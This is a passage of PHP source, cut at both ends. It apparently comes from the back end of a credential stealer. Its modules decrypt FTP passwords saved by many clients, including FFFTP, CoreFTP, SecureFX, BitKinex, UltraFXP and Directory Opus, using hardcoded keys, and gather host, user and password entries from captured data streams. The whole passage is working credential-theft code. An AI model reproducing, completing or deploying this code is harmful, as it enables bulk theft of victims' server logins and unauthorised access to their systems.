$this->log->add('ERR_FAILED_TO_PROCESS_TURBOFTP_STREAM'); return false; } for ($i = 0; $i < $n_items; $i++) { if ($stream->eof()) break; $this->read_item($stream, $ver); if (!$stream->state) { $this->log->add('ERR_FAILED_TO_PROCESS_TURBOFTP_STREAM'); return false; } } return $stream->state; } private function process_quick($value) { if (!strlen($value)) return false; $stream = new stream_turboftp($value, $this->log); $ver = (float)$stream->read_dword() / 100; $ver = number_format($ver, 2, '.', ''); if (!$stream->state) { $this->log->add('ERR_FAILED_TO_PROCESS_TURBOFTP_QUICK_STREAM'); return false; } while ($stream->state) { if ($stream->eof()) break; $this->read_item($stream, $ver, true); if (!$stream->state) { $this->log->add('ERR_FAILED_TO_PROCESS_TURBOFTP_QUICK_STREAM'); return false; } } return $stream->state; } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_dat($stream->read_str()); break; case 0x0001: $this->process_quick($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FFFTP class module_ffftp extends module { protected function check_masterpass($cred_salt, $cred_check, $master_pass = 'DefaultPassword') { if (strlen($cred_salt) != 4 || strlen($cred_check) != 41) return ''; $cred_check = substr($cred_check, 0, 40); // remove trailing NULL $hash = sha1($master_pass.chr(0).$cred_salt[3].$cred_salt[2].$cred_salt[1].$cred_salt[0]); $pos = 0; for ($i = 0; $i < 5; $i++) { $sum = 0; for ($k = 0; $k < 8; $k++) { $sum = $sum << 4; $sum = $sum + ord($cred_check[$pos++]) - 0x40; } $s = dechex($sum); while (strlen($s) < 8) $s = "0".$s; if ($s != substr($hash, $i*8, 8)) return ''; } return $master_pass; } protected function decrypt_old($pass, $master_pass = '') { if (strlen($pass) % 2 != 0 || !strlen($pass)) return ''; $i = 0; $k = 0; $l = strlen($pass); $result = ''; while ($i < $l-1) { $eax = ((ord($pass[$i+1]) & 0xf) << 4) | ((ord($pass[$i]) & 0xf) << 8); $ecx = (ord($pass[$i]) >> 4) & 3; if (ord($pass[$i]) & 1) $i++; $i += 2; $ecx = ($eax >> ($ecx+8)) | ($eax >> $ecx); if ($master_pass) { $ecx = $ecx ^ ord($master_pass[$k++ % strlen($master_pass)]); } $ecx = $ecx & 0xff; $result .= chr($ecx); } return $result; } protected function decrypt_new($pass, $master_pass = 'DefaultPassword') { $CCryptStr1 = chr(0x3e).chr(0x67).chr(0x5E).chr(0x72).chr(0x3D).chr(0x40).chr(0x4E).chr(0x37).chr(0x3D).chr(0x2F).chr(0x2F).chr(0x7A).chr(0x3C).chr(0x5B).chr(0x60).chr(0x3A); $CCryptStr2 = chr(0x56).chr(0x47).chr(0x37).chr(0x37).chr(0x64).chr(0x4F).chr(0x31).chr(0x23).chr(0x45).chr(0x79).chr(0x43).chr(0x5D).chr(0x24).chr(0x7C).chr(0x43).chr(0x40); $digest1 = hextostr(sha1($master_pass.$CCryptStr1)); $digest2 = hextostr(sha1($master_pass.$CCryptStr2)); $key = ''; for ($i = 0; $i < 5; $i++) { $key .= $digest1[$i*4+3]; $key .= $digest1[$i*4+2]; $key .= $digest1[$i*4+1]; $key .= $digest1[$i*4+0]; } for ($i = 0; $i < 3; $i++) { $key .= $digest2[$i*4+3]; $key .= $digest2[$i*4+2]; $key .= $digest2[$i*4+1]; $key .= $digest2[$i*4+0]; } $data_iv = explode(':', $pass); if (count($data_iv) != 2) return ''; $data = hextostr($data_iv[1]); $iv = hextostr($data_iv[0]); if (($data === false) || ($iv === false) || (strlen($data) % 16 != 0) || (strlen($iv) != 16)) { $this->log->add('ERR_INVALID_HEX_STRING'); return ''; } $data = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv); if (!strlen($data)) { $this->log->add("ERR_CANNOT_DECRYPT_PASSWORD"); } return ztrim($data); } protected function decrypt_pass($pass, $cred_salt, $cred_check) { if (strlen($pass) == 0) return ''; switch (substr($pass, 0, 2)) { case "0A": return $this->decrypt_old(substr($pass, 2)); break; case "0B": $master_pass = $this->check_masterpass($cred_salt, $cred_check); if ($master_pass) return $this->decrypt_old(substr($pass, 2), $master_pass); break; case "0C": $master_pass = $this->check_masterpass($cred_salt, $cred_check); if ($master_pass) return $this->decrypt_new(substr($pass, 2), $master_pass); break; default: return $this->decrypt_old($pass); } return ''; } private $cred_check = ''; private $cred_salt = ''; public function import_item($stream, $id) { switch ($id) { case 0x0001: $this->cred_salt = $stream->read_str(); break; case 0x0002: $this->cred_check = $stream->read_str(); break; case 0x0000: $host = $stream->read_str(); $user = $stream->read_str(); $pass = $stream->read_str(); $dir = $stream->read_str(); $port = $stream->read_dword(); // decrypt password $pass = $this->decrypt_pass($pass, $this->cred_salt, $this->cred_check); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // CoffeeCup FTP class module_coffeecupftp extends module { protected function decrypt_pass($pass) { if (strlen($pass) == 0) return ''; $crypt_key = 'robert249fsd)af8.?sf2eaya;sd$%85034gsn%@#!afsgsjdg;iawe;otigkbarr'; $salt = strlen($crypt_key)-1; for ($i = 0; $i < strlen($pass); $i++) { if (($salt & 8) == 0) $salt ^= 1; $salt = (~$salt) & 0xff; $salt = (($salt >> 1) | ($salt << 7)) & 0xff; $pass[$i] = chr(ord($crypt_key[strlen($crypt_key)-$i%strlen($crypt_key)-1]) ^ $salt ^ ord($pass[$i])); } return $pass; } public function import_item($stream, $id) { switch ($id) { case 0x0000: $host = $stream->read_str(); $user = $stream->read_str(); $pass = $stream->read_str(); $port = $stream->read_str(); $dir = $stream->read_str(); // decrypt password $pass = $this->decrypt_pass($pass); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // CoreFTP class module_coreftp extends module { protected function decrypt_pass($pass) { if (strlen($pass) == 0 || strlen($pass) % 32 != 0) return ''; $iv = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; $key = 'hdfzpysvpzimorhk'; $data = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, hextostr($pass), MCRYPT_MODE_ECB, $iv); if (!strlen($data)) { $this->log->add("ERR_CANNOT_DECRYPT_PASSWORD"); } return $data; } public function import_item($stream, $id) { switch ($id) { case 0x0000: case 0x0010: $host = $stream->read_str(); $user = $stream->read_str(); $pass = $stream->read_str(); $port = $stream->read_dword(); $dir = $stream->read_str(); if (($id & 0x10) > 0) $ssh = $stream->read_dword(); else $ssh = 0; // decrypt password $pass = $this->decrypt_pass($pass); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $ssh == 1), $port, $dir), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FTP Explorer class stream_ftpexplorer extends stream { public function read_explorerstr() { if (!$this->state) return false; $w = $this->read_word(); $b = $this->read_byte(); if ($w != 0xfeff || $b != 0xff) { $this->push_error('ERR_FTPEXPLORER_STR'); return false; } $len = $this->read_byte(); if ($len == 0xff) $len = $this->read_word(); if (!$this->state) return false; return unicode_to_ansi($this->read_strlen($len*2)); } public function read_explorerwstr() { if (!$this->state) return false; return $this->read_strlen($this->read_word()); } } class module_ftpexplorer extends module { private function read_xml_item($xml_array) { $host = assign($xml_array['Host']); $user = assign($xml_array['Login']); $pass = assign($xml_array['Password']); $port = assign($xml_array['Port']); $dir = assign($xml_array['RemotePath']); $host = Utf8ToWin($host); $user = Utf8ToWin($user); $pass = Utf8ToWin($pass); $dir = Utf8ToWin($dir); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value); } } private function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if (strpos(strval($key), 'ftpx') !== false) $this->read_xml_item($value); $this->rec_scan_xml_array($value); } } } private function process_xml($value) { if (!strlen($value)) return; $xml_parser = new XMLParser($value); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { $this->log->add("ERR_XML_PARSE"); } } private function process_reg($value) { if (strlen($value) <= 10) return; $stream = new stream_ftpexplorer($value, $this->log); $stream->read_skip(8); $count = $stream->read_word(); for ($i = 0; $i < $count; $i++) { if (!$stream->state) break; $item_type = $stream->read_word(); if ($item_type == 0xffff) { $stream->read_skip(2); $str_type = $stream->read_explorerwstr(); if ($str_type == 'CMFCToolBarButton') $item_type = 0x8001; else if ($str_type == 'CFTPToolBarComboBoxButton') $item_type = 0x6001; // guess else $item_type = 0; } if (!$stream->state) break; switch ($item_type) { case 0x8001: $stream->read_skip(12); $stream->read_explorerstr(); // Label $stream->read_skip(20); break; case 0x6001: $stream->read_skip(12); $stream->read_explorerstr(); // Label $stream->read_skip(32); $this->add_ftp($stream->read_explorerstr()); // Current host $stream->read_skip(8); $host_count = $stream->read_word(); if ($host_count) { for ($j = 0; $j < $host_count; $j++) { $this->add_ftp($stream->read_explorerstr()); // Additional host } $stream->read_skip(4*$host_count); } break; default: $this->log->add('ERR_INVALID_FTPEXLORER_ITEMTYPE'); return; } } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_xml($stream->read_str()); break; case 0x0001: $this->process_reg($stream->read_str()); break; case 0x0002: $host = $stream->read_str(); $user = $stream->read_str(); $pass = $stream->read_str(); $port = $stream->read_dword(); $dir = $stream->read_str();; $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Frigate3 FTP class module_frigateftp extends module { private function read_xml_item($xml_array, $quick = false, $parent = null) { $host = utf8_decode(assign($xml_array['Host'])); $user = utf8_decode(assign($xml_array['User'])); $pass = base64_decode(assign($xml_array['Pass']), true); $port = utf8_decode(assign($xml_array['Port'])); $protocol = assign($xml_array['SecureType']); if (strlen($pass) && strlen($user) && $quick && $parent !== null) { $this->add_ftp(append_port_dir(ftp_force_ssh($parent, $protocol == '2'), $port, $dir), $user, $pass); } else $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == '2'), $port, $dir), $user, $pass); foreach ($xml_array as $key=>$value) { if (is_array($value)) { if ($parent === null) $this->read_xml_item($value, $quick, $key); else $this->read_xml_item($value, $quick, $parent); } } } private function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if (strval($key) == 'Item') $this->read_xml_item($value); if (strval($key) == 'QuickFtp') { $this->read_xml_item($value, true); } $this->rec_scan_xml_array($value); } } } protected function update_dumbroot_xml_file($xml_data) { if (($pos = strpos($xml_data, '', $pos); if ($pos !== false) { return str_insert("", $xml_data, $pos+1).""; } } return $xml_data; } // workaround for idiotic xml generation protected function strip_bad_xml_tags($xml_data) { // strip erroneus XML tags while (($i = strpos($xml_data, '')) !== false) { $j = strpos($xml_data, '', $i+1); if ($j === false) break; $xml_data = substr($xml_data, 0, $i).substr($xml_data, $j+strlen('')); } return $xml_data; } private function process_xml($value) { if (!strlen($value)) return; $value = $this->strip_bad_xml_tags(trim($value)); $value = $this->update_dumbroot_xml_file($value); $xml_parser = new XMLParser(utf8_encode($value)); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_xml($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // SecureFX FTP 6.6 class module_securefx extends module { private function decrypt_pass($encrypted_password) { $encrypted_password = trim($encrypted_password); if (!strlen($encrypted_password)) return ''; $is_unicode = 0; if ($encrypted_password[0] == 'u') { $is_unicode = 1; $encrypted_password = substr($encrypted_password, 1); } $encrypted_password = trim($encrypted_password); if (!strlen($encrypted_password)) return ''; $encrypted_bin_data = hextostr($encrypted_password); if ($encrypted_bin_data === false) { $this->log->add("ERR_INVALID_HEX_DATA"); return ''; } $key1 = chr(0x24).chr(0xA6).chr(0x3D).chr(0xDE).chr(0x5B).chr(0xD3).chr(0xB3).chr(0x82).chr(0x9C).chr(0x7E).chr(0x06).chr(0xF4).chr(0x08).chr(0x16).chr(0xAA).chr(0x07); $key2 = chr(0x5f).chr(0xB0).chr(0x45).chr(0xA2).chr(0x94).chr(0x17).chr(0xD9).chr(0x16).chr(0xC6).chr(0xC6).chr(0xA2).chr(0xFF).chr(0x06).chr(0x41).chr(0x82).chr(0xB7); $iv = "\0\0\0\0\0\0\0\0"; $decrypted_data = mcrypt_decrypt(MCRYPT_BLOWFISH, $key1, $encrypted_bin_data, MCRYPT_MODE_CBC, $iv); if (!strlen($decrypted_data)) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); } if (strlen($decrypted_data) > 8) { // remove first and last 4 bytes $decrypted_data = substr($decrypted_data, 4, -4); $decrypted_data = mcrypt_decrypt(MCRYPT_BLOWFISH, $key2, $decrypted_data, MCRYPT_MODE_CBC, $iv); if (strlen($decrypted_data)) { if ($is_unicode) { $decrypted_data = unicode_to_ansi(ztrim_unicode($decrypted_data)); } else $decrypted_data = ztrim($decrypted_data); return $decrypted_data; } else { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); } } return ''; } private function process_ini($value) { if (!strlen($value)) return; $host = ''; $dir = ''; $user = ''; $pass = ''; $port = ''; $proto = ''; $lines = parse_lines(UnkTextToAnsi($value)); foreach ($lines as $single_line) { $split_values = explode('=', $single_line); if (count($split_values) == 2) { switch ($split_values[0]) { case 'S:"Hostname"': $host = $split_values[1]; break; case 'S:"Initial Directory"': $dir = $split_values[1]; break; case 'S:"Username"': $user = $split_values[1]; break; case 'S:"Password"': $pass = $split_values[1]; break; case 'D:"Transfer Port"': $port = $split_values[1]; break; case 'S:"Transfer Protocol Name"': $proto = $split_values[1]; break; } } } if (strlen($port)) { $port = hexdec($port); } $pass = $this->decrypt_pass($pass); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $proto == 'SFTP'), $port, $dir), $user, $pass); } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_ini($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // UltraFXP 1.7 class module_ultrafxp_base extends module { private function decrypt_pass($encrypted_password) { if (!strlen($encrypted_password)) return ''; $decoded_password = hextostr(trim($encrypted_password)); if ($decoded_password === false) { $this->log->add('ERR_INVALID_HEX_STRING'); return ''; } $const_iv = chr(59).chr(197).chr(31).chr(90).chr(94).chr(150).chr(19).chr(69); $hex_key = "B4E8D16C26323D4AEA8026CDCEBFFE6A4AE27DEB77F0894CBC25FA03E01B6B1C"; // ripemd256 hash of str "th3m3ugaysshit9" $cipher_key = hextostr($hex_key); $iv = $const_iv; $descriptor = mcrypt_module_open(MCRYPT_BLOWFISH, '', 'ecb', ''); if (!$descriptor) { $this->log->add("ERR_CANNOT_INITIALIZE_MCRYPT_MODULE"); return ''; } mcrypt_generic_init($descriptor, $cipher_key, $iv); encrypt_cts($descriptor, $cipher_key, $iv); $iv = $const_iv; $plain_text = decrypt_cts($descriptor, $decoded_password, $iv); mcrypt_generic_deinit($descriptor); mcrypt_module_close($descriptor); return $plain_text; } protected function read_xml_item($xml_array) { $host = utf8_decode(assign($xml_array['HOST'])); $user = utf8_decode(assign($xml_array['USER'])); $pass = utf8_decode(assign($xml_array['PASS'])); $pass = $this->decrypt_pass($pass); $port = utf8_decode(assign($xml_array['PORT'])); $dir = utf8_decode(assign($xml_array['RPATH'])); $protocol = assign($xml_array['SSL']); if (is_array($protocol)) $protocol = assign($protocol['value']); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == '4'), $port, $dir), $user, $pass); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value); } } protected function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if (strval($key) == 'SITE') $this->read_xml_item($value); $this->rec_scan_xml_array($value); } } } protected function process_xml($value) { if (!strlen($value)) return; $value = utf8_encode($value); $xml_parser = new XMLParser($value); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_xml($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } class module_ultrafxp extends module_ultrafxp_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FTPRush 2.1.4, 2.1.5 (FTP client based on UltraFXP) class module_ftprush extends module_ultrafxp_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // WebSitePublisher 2.1.5 class module_websitepublisher extends module { private function decrypt_pass($encrypted_password) { if (!strlen($encrypted_password)) return ''; if (strlen($encrypted_password) == 1 || $encrypted_password[0] != chr(0x30)) return ''; $encrypted_password = substr($encrypted_password, 1); for ($i = 0; $i < strlen($encrypted_password); $i++) { $encoded_char = ord($encrypted_password[$i]); if (($encoded_char >= 0x41 && $encoded_char <= 0x5a) || ($encoded_char >= 0x61 && $encoded_char <= 0x7a)) $encrypted_password[$i] = chr(0xbb-$encoded_char); if ($encoded_char >= 0x30 && $encoded_char <= 0x39) $encrypted_password[$i] = chr(0x69-$encoded_char); } return $encrypted_password; } public function import_item($stream, $id) { switch ($id) { case 0x0000: $host = $stream->read_str(); $user = $stream->read_str(); $pass = $stream->read_str(); $port = $stream->read_dword(); $dir = ''; // separate dir from host value $host = str_replace("\\", "/", $host); while (strpos($host, "//") !== false) $host = str_replace("//", "/", $host); $pos = strpos($host, "/"); if ($pos !== false) { $dir = substr($host, $pos); $host = substr($host, 0, $pos); } // decrypt password $pass = $this->decrypt_pass($pass); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // BitKinex 3.2.3 class module_bitkinex extends module { private function decrypt_pass($encrypted_password) { if (!strlen($encrypted_password)) return ''; $decoded_password = hextostr(trim($encrypted_password)); if (($decoded_password === false) || (strlen($decoded_password) % 8 != 0)) { $this->log->add('ERR_INVALID_HEX_STRING'); return ''; } $cipher_key = 'BD-07021973+19101972-DB'; $iv = "\0\0\0\0\0\0\0\0"; $deciphered_data = mcrypt_decrypt(MCRYPT_BLOWFISH, $cipher_key, $decoded_password, MCRYPT_MODE_ECB, $iv); if (!strlen($deciphered_data)) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); } $decrypted_password = unicode_to_ansi(ztrim_unicode($deciphered_data)); return $decrypted_password; } protected function process_ds_file($file_data) { if (!strlen($file_data)) return; $values = parse_lines(Utf8ToWin($file_data)); $user = ''; $host = ''; $dir = ''; $protocol = ''; foreach ($values as $line) { if (strpos($line, "### Node definition: ") !== false) { $user = ''; $host = ''; $dir = ''; $protocol = ''; } if (strpos($line, 'TYPE = SFTP') !== false) $protocol = 'sftp'; if (strpos($line, "SET DEFAULT_PATH ") !== false) $dir = trim(substr($line, strlen("SET DEFAULT_PATH "))); if (strpos($line, "SET DST_ADDR ") !== false) $host = trim(substr($line, strlen("SET DST_ADDR "))); if (strpos($line, "SET USER ") !== false) $user = trim(substr($line, strlen("SET USER "))); if (strpos($line, "SET PASS ") !== false) { $pass = $this->decrypt_pass(trim(substr($line, strlen("SET PASS ")))); $this->add_ftp(append_dir(ftp_force_ssh($host, $protocol == 'sftp'), $dir), $user, $pass); $user = ''; $host = ''; $dir = ''; $protocol = ''; } } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $ds_file = $stream->read_str(); $this->process_ds_file($ds_file); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // ExpanDrive 1.8.4 class module_expandrive extends module { private $password_pairs = array(); public function import_item($stream, $id) { switch ($id) { case 0x1000: $encrypted_pass = $stream->read_str(); $decrypted_pass = $stream->read_str(); if (strlen($encrypted_pass) && strlen($decrypted_pass)) { $this->password_pairs[$encrypted_pass] = $decrypted_pass; } break; case 0x1001: $json_config = $stream->read_str(); $json_params = json_fmt_nice($json_config); $json_result = json_decode($json_params, true); if ($json_result !== null && is_array($json_result) && isset($json_result['drives'])) { $json_result = $json_result['drives']; if ($json_result !== null && is_array($json_result)) { foreach ($json_result as $param_array) { if (is_array($param_array)) { $host = assign($param_array['server']); $port = assign($param_array['port']); $dir = assign($param_array['report_path']); $user = assign($param_array['username']); $pass = assign($param_array['password']); $protocol = assign($param_array['type']); $pass = Utf8ToWin(assign($this->password_pairs[$pass])); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == 'sftp'), $port, $dir), $user, $pass); } } } } break; case 0x0000: $host = $stream->read_str(); $user = $stream->read_str(); $pass = $stream->read_str(); $port = $stream->read_dword(); $this->add_ftp(append_port($host, $port), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // ClassicFTP 2.14 // base class for ClassicFTP and Fling, both use same decryption scheme class module_classicftp_base extends module { private function decrypt_pass($encrypted_password) { if (strlen($encrypted_password) == 0) return ''; // Make decryption key $md5_hash = md5('nchkqxllib', true); $decryption_key = substr($md5_hash, 0, 5)."\0\0\0\0\0\0\0\0\0\0\0"; $decrypted_password = Utf8ToWin(rc4Decrypt($decryption_key, $encrypted_password)); return $decrypted_password; } public function import_item($stream, $id) { switch ($id) { case 0x0000: $host = $stream->read_str(); $user = $stream->read_str(); $pass1 = trim($stream->read_str()); $pass2 = $stream->read_str(); $dir = $stream->read_str(); if (strlen($pass1)) $this->add_ftp(append_dir($host, $dir), $user, $pass1); if (strlen($pass2)) { $pass2 = $this->decrypt_pass($pass2); $this->add_ftp(append_dir($host, $dir), $user, $pass2); } break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } class module_classicftp extends module_classicftp_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Fling 2.23 (based on ClassicFTP) class module_fling extends module_classicftp_base { } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // SoftX 3.3 class module_softx extends module { private function decrypt_pass($encrypted_password) { for ($i = 0; $i < strlen($encrypted_password); $i++) $encrypted_password[$i] = chr(ord($encrypted_password[$i]) ^ 0x91); return $encrypted_password; } private function grab_config_string(&$config_data) { $value = substr($config_data, 0, 192); if (strlen($value) < 192) return false; $result = unicode_to_ansi($value); $config_data = substr($config_data, 192); return $result; } private function process_config($config_data) { if (strlen($config_data) == 0) return; $label = $this->grab_config_string($config_data); if ($label === false) return; $host = $this->grab_config_string($config_data); if ($host === false) return; $port_value = substr($config_data, 0, 4); $config_data = substr($config_data, 8); if (!strlen($config_data)) return; $port = data_int32($port_value); $user = $this->grab_config_string($config_data); if ($user === false) return; $pass = $this->grab_config_string($config_data); if ($pass === false) return; $config_data = substr($config_data, 192 + 24); $dir = $this->grab_config_string($config_data); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } public function import_item($stream, $id) { switch ($id) { case 0x0000: $encoded_data = $this->decrypt_pass($stream->read_str()); $this->process_config($encoded_data); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Directory Opus 9.5.6.0.3937 (64-bit tested) class module_dopus extends module { protected function strip_bad_xml_tags($xml_data) { // strip erroneus XML tags while (($i = strpos($xml_data, '', $i+1); if ($j === false) break; $xml_data = substr($xml_data, 0, $i).substr($xml_data, $j+1); } // strip erroneus XML tags while (($i = strpos($xml_data, '', $i+1); if ($j === false) break; $xml_data = substr($xml_data, 0, $i).substr($xml_data, $j+1); } while (($i = strpos($xml_data, '')) !== false) { $j = strpos($xml_data, '', $i+1); if ($j === false) break; $xml_data = substr($xml_data, 0, $i).substr($xml_data, $j+1); } return $xml_data; } private function decrypt($encrypted_password) { if (strlen($encrypted_password) == 0 || substr($encrypted_password, 0, 2) != '@!') return ''; $encrypted_password = substr($encrypted_password, 2); $decoded_password = base64_decode($encrypted_password, true); for ($i = 0; $i < strlen($decoded_password); $i++) { $decoded_password[$i] = chr(ord($decoded_password[$i]) ^ ($i + 3)); } return $decoded_password; } private function find_xml_dir($xml_array, &$resulting_dir) { $dir = assign($xml_array['dir']); if (is_string($dir) && strlen($dir)) $resulting_dir = Utf8ToWin($dir); foreach ($xml_array as $value) { if (is_array($value)) $this->find_xml_dir($value, $resulting_dir); } } private function read_xml_item($xml_array, $dir, $protocol) { $host = assign($xml_array['host']); $user = assign($xml_array['user']); $pass = assign($xml_array['pass']); $pass = $this->decrypt($pass); $port = assign($xml_array['port']); $host = Utf8ToWin($host); $user = Utf8ToWin($user); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == '3'), $port, $dir), $user, $pass); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value, $dir, $protocol); } } private function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if (strval($key) == 'left') { $ecrypted_ftp_uri = assign($value['ftp']); $decrypted_ftp_uri = $this->decrypt($ecrypted_ftp_uri); if (strlen($decrypted_ftp_uri)) { $this->add_ftp(urldecode($decrypted_ftp_uri)); } } else if ((strval($key) == 'site')) { $dir = ''; $protocol = ''; if (isset($value['attributes'])) $protocol = assign($value['attributes']['type']); $this->find_xml_dir($value, $dir); $this->read_xml_item($value, $dir, $protocol); } else if ((strval($key) == 'host')) { if (isset($value['attributes']) && is_array($value['attributes'])) { $host = assign($value['attributes']['host']); $user = assign($value['attributes']['user']); $pass = assign($value['attributes']['pass']); $pass = $this->decrypt($pass); $port = assign($value['attributes']['port']); $this->add_ftp(append_port($host, $port), $user, $pass); } } $this->rec_scan_xml_array($value); } } } protected function process_oxc($xml_data) { if (strlen($xml_data) == 0) return; $xml_data = $this->strip_bad_xml_tags($xml_data); $xml_parser = new XMLParser($xml_data); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { $this->log->add("ERR_XML_PARSE"); } } protected function process_oll($xml_data) { $this->process_oxc($xml_data); } protected function process_osd($xml_data) { $this->process_oxc($xml_data); } public function import_item($stream, $id) { switch ($id) { case 0x0000: // oxc $this->process_oxc($stream->read_str()); break; case 0x0001: // 